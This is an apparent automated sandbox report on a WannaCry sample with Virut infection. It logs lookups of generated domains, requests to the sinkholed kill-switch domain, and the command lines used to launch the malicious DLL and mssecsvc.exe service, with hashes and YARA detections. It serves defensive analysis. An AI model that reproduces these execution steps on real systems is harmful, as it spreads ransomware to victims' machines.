                    Jul 20, 2022 07:07:25.049660921 CEST8.8.8.8192.168.2.60xa41aName error (3)pfaysr.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.161405087 CEST8.8.8.8192.168.2.60x993eName error (3)ffhola.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.272247076 CEST8.8.8.8192.168.2.60x10e2Name error (3)cebyuc.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.310161114 CEST8.8.8.8192.168.2.60x1b0dName error (3)ebdekj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.338135958 CEST8.8.8.8192.168.2.60x45b4Name error (3)yubejo.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.367309093 CEST8.8.8.8192.168.2.60x7ed3Name error (3)oquydh.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.394846916 CEST8.8.8.8192.168.2.60x85d1Name error (3)zmmqzw.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.424232960 CEST8.8.8.8192.168.2.60x361eName error (3)wjkwum.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.477660894 CEST8.8.8.8192.168.2.60x3be1Name error (3)attefa.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.525507927 CEST8.8.8.8192.168.2.60x6a0cName error (3)kuifik.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.558531046 CEST8.8.8.8192.168.2.60x8d63Name error (3)vmylba.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.605537891 CEST8.8.8.8192.168.2.60xc8cName error (3)sirbmz.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.641527891 CEST8.8.8.8192.168.2.60x7a5cName error (3)izuaoz.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.676752090 CEST8.8.8.8192.168.2.60x6902Name error (3)hhuiuy.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.712913990 CEST8.8.8.8192.168.2.60xde77Name error (3)zhhgjo.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.744656086 CEST8.8.8.8192.168.2.60x910eName error (3)ulnhcg.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.774847984 CEST8.8.8.8192.168.2.60xc421Name error (3)umxpav.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.886281967 CEST8.8.8.8192.168.2.60xc1c7Name error (3)bdpueo.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.922009945 CEST8.8.8.8192.168.2.60xe106Name error (3)aqbize.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.957941055 CEST8.8.8.8192.168.2.60x11d2Name error (3)ubcyyc.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.987447977 CEST8.8.8.8192.168.2.60xe52eName error (3)tdoiua.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.025582075 CEST8.8.8.8192.168.2.60x7238Name error (3)lonsdy.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.060283899 CEST8.8.8.8192.168.2.60xad1eName error (3)ttuuco.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.115696907 CEST8.8.8.8192.168.2.60x96ceName error (3)fvirrh.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.147876978 CEST8.8.8.8192.168.2.60xd0beName error (3)jqeaih.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.204354048 CEST8.8.8.8192.168.2.60x783fName error (3)vupmnw.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.246571064 CEST8.8.8.8192.168.2.60xb5b0Name error (3)isiuje.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.299308062 CEST8.8.8.8192.168.2.60x45bcName error (3)ebqfrl.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.349781990 CEST8.8.8.8192.168.2.60xe4cbName error (3)ntrlox.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.400849104 CEST8.8.8.8192.168.2.60x745bName error (3)jqtzda.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.430864096 CEST8.8.8.8192.168.2.60xae60Name error (3)kbidwa.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.468661070 CEST8.8.8.8192.168.2.60xb32cName error (3)dxyarp.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.505819082 CEST8.8.8.8192.168.2.60x3e86Name error (3)uiamvb.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.618484020 CEST8.8.8.8192.168.2.60x2234Name error (3)aognkj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.650149107 CEST8.8.8.8192.168.2.60xee63Name error (3)yeuhos.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.681860924 CEST8.8.8.8192.168.2.60xd67cName error (3)oexggu.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.716787100 CEST8.8.8.8192.168.2.60x2fffName error (3)ehuzeh.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.754837036 CEST8.8.8.8192.168.2.60x5268Name error (3)uipjqf.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.791150093 CEST8.8.8.8192.168.2.60x9162Name error (3)hiyeja.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.823103905 CEST8.8.8.8192.168.2.60xcb4aName error (3)jglbxn.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.878217936 CEST8.8.8.8192.168.2.60x95fbName error (3)ebktjj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.939034939 CEST8.8.8.8192.168.2.60x8bffName error (3)gauybo.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:26.971910954 CEST8.8.8.8192.168.2.60xf819Name error (3)ihserj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:27.011533022 CEST8.8.8.8192.168.2.60x5d44Name error (3)ktkyiy.comnonenoneA (IP address)IN (0x0001)

                    HTTP Request Dependency Graph

                    • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

                    HTTP Packets

                    Session IDSource IPSource PortDestination IPDestination PortProcess
                    0192.168.2.649764104.16.173.8080C:\Windows\mssecsvc.exe
                    TimestampkBytes transferredDirectionData
                    Jul 20, 2022 07:04:24.421192884 CEST979OUTGET / HTTP/1.1
                    Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                    Cache-Control: no-cache
                    Jul 20, 2022 07:04:24.458106995 CEST979INHTTP/1.1 200 OK
                    Date: Wed, 20 Jul 2022 05:04:24 GMT
                    Content-Type: text/html
                    Content-Length: 607
                    Connection: close
                    Server: cloudflare
                    CF-RAY: 72d927e8af955c44-FRA
                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                    Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                    Session IDSource IPSource PortDestination IPDestination PortProcess
                    1192.168.2.649872104.16.173.8080C:\Windows\mssecsvc.exe
                    TimestampkBytes transferredDirectionData
                    Jul 20, 2022 07:06:47.921489000 CEST10734OUTGET / HTTP/1.1
                    Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                    Cache-Control: no-cache
                    Jul 20, 2022 07:06:47.951188087 CEST10735INHTTP/1.1 200 OK
                    Date: Wed, 20 Jul 2022 05:06:47 GMT
                    Content-Type: text/html
                    Content-Length: 607
                    Connection: close
                    Server: cloudflare
                    CF-RAY: 72d92b698fb9bbad-FRA
                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                    Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                    Statistics

                    CPU Usage

                    Click to jump to process

                    Memory Usage

                    Click to jump to process

                    Behavior

                    Click to jump to process

                    System Behavior

                    General

                    Target ID:0
                    Start time:07:04:13
                    Start date:20/07/2022
                    Path:C:\Windows\System32\loaddll32.exe
                    Wow64 process (32bit):true
                    Commandline:loaddll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll"
                    Imagebase:0x10a0000
                    File size:116736 bytes
                    MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high

                    General

                    Target ID:1
                    Start time:07:04:14
                    Start date:20/07/2022
                    Path:C:\Windows\SysWOW64\cmd.exe
                    Wow64 process (32bit):true
                    Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1
                    Imagebase:0xed0000
                    File size:232960 bytes
                    MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high

                    General

                    Target ID:2
                    Start time:07:04:15
                    Start date:20/07/2022
                    Path:C:\Windows\SysWOW64\rundll32.exe
                    Wow64 process (32bit):true
                    Commandline:rundll32.exe C:\Users\user\Desktop\7KPQg3aXdC.dll,PlayGame
                    Imagebase:0xae0000
                    File size:61952 bytes
                    MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high

                    General

                    Target ID:3
                    Start time:07:04:15
                    Start date:20/07/2022
                    Path:C:\Windows\SysWOW64\rundll32.exe
                    Wow64 process (32bit):true
                    Commandline:rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1
                    Imagebase:0xae0000
                    File size:61952 bytes
                    MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high

                    General

                    Target ID:4
                    Start time:07:04:17
                    Start date:20/07/2022
                    Path:C:\Windows\mssecsvc.exe
                    Wow64 process (32bit):true
                    Commandline:C:\WINDOWS\mssecsvc.exe
                    Imagebase:0x400000
                    File size:3751936 bytes
                    MD5 hash:A8212B35F3C2D69354A1FBA562DAA478
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.719911758.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.718971508.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.389204437.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.392334168.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.387282199.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.718835065.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.389294793.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.394056130.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.392433384.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.394171945.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.387382514.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                    • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                    Antivirus matches:
                    • Detection: 100%, Avira
                    • Detection: 100%, Joe Sandbox ML
                    • Detection: 84%, Metadefender, Browse
                    • Detection: 100%, ReversingLabs
                    Reputation:low

                    General

                    Target ID:5
                    Start time:07:04:18
                    Start date:20/07/2022
                    Path:C:\Windows\SysWOW64\rundll32.exe
                    Wow64 process (32bit):true
                    Commandline:rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",PlayGame
                    Imagebase:0xae0000
                    File size:61952 bytes
                    MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high

                    General

                    Target ID:6
                    Start time:07:04:19
                    Start date:20/07/2022
                    Path:C:\Windows\mssecsvc.exe
                    Wow64 process (32bit):true
                    Commandline:C:\WINDOWS\mssecsvc.exe
                    Imagebase:0x400000
                    File size:3751936 bytes
                    MD5 hash:A8212B35F3C2D69354A1FBA562DAA478
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.393404837.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.397908031.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.479567288.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.395022838.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.391005501.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.397994686.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.395162671.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000002.479754496.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.391215841.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.393482801.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    Reputation:low

                    General

                    Target ID:7
                    Start time:07:04:22
                    Start date:20/07/2022
                    Path:C:\Windows\System32\winlogon.exe
                    Wow64 process (32bit):false
                    Commandline:winlogon.exe
                    Imagebase:0x7ff7addb0000
                    File size:677376 bytes
                    MD5 hash:F9017F2DC455AD373DF036F5817A8870
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000007.00000000.404845718.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000007.00000000.404833950.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000007.00000002.907094148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000007.00000000.398638867.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000007.00000002.906965552.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    Reputation:moderate

                    General

                    Target ID:9
                    Start time:07:04:24
                    Start date:20/07/2022
                    Path:C:\Windows\mssecsvc.exe
                    Wow64 process (32bit):true
                    Commandline:C:\WINDOWS\mssecsvc.exe -m security
                    Imagebase:0x7ff726010000
                    File size:3751936 bytes
                    MD5 hash:A8212B35F3C2D69354A1FBA562DAA478
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000009.00000000.402972993.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000009.00000002.504696441.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000002.507719913.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                    Reputation:low

                    General

                    Target ID:11
                    Start time:07:04:25
                    Start date:20/07/2022
                    Path:C:\Windows\System32\lsass.exe
                    Wow64 process (32bit):false
                    Commandline:C:\Windows\system32\lsass.exe
                    Imagebase:0x7ff698380000
                    File size:57976 bytes
                    MD5 hash:317340CD278A374BCEF6A30194557227
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000B.00000000.407337291.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000B.00000000.407376470.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000B.00000002.907093903.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000B.00000002.906964838.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000B.00000000.404562278.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    Reputation:moderate

                    General

                    Target ID:12
                    Start time:07:04:29
                    Start date:20/07/2022
                    Path:C:\Windows\System32\fontdrvhost.exe
                    Wow64 process (32bit):false
                    Commandline:fontdrvhost.exe
                    Imagebase:0x7ff729420000
                    File size:790304 bytes
                    MD5 hash:31113981180E69C2773BCADA4051738A
                    Has elevated privileges:false
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000000.417592472.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000000.422185488.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000002.906948155.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000002.907098246.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000000.422170960.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                    General

                    Target ID:16
                    Start time:07:04:33
                    Start date:20/07/2022
                    Path:C:\Windows\System32\fontdrvhost.exe
                    Wow64 process (32bit):false
                    Commandline:fontdrvhost.exe
                    Imagebase:0x7ff729420000
                    File size:790304 bytes
                    MD5 hash:31113981180E69C2773BCADA4051738A
                    Has elevated privileges:false
                    Has administrator privileges:false
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000002.907132004.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000000.424192487.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000002.906964407.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000000.424142653.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
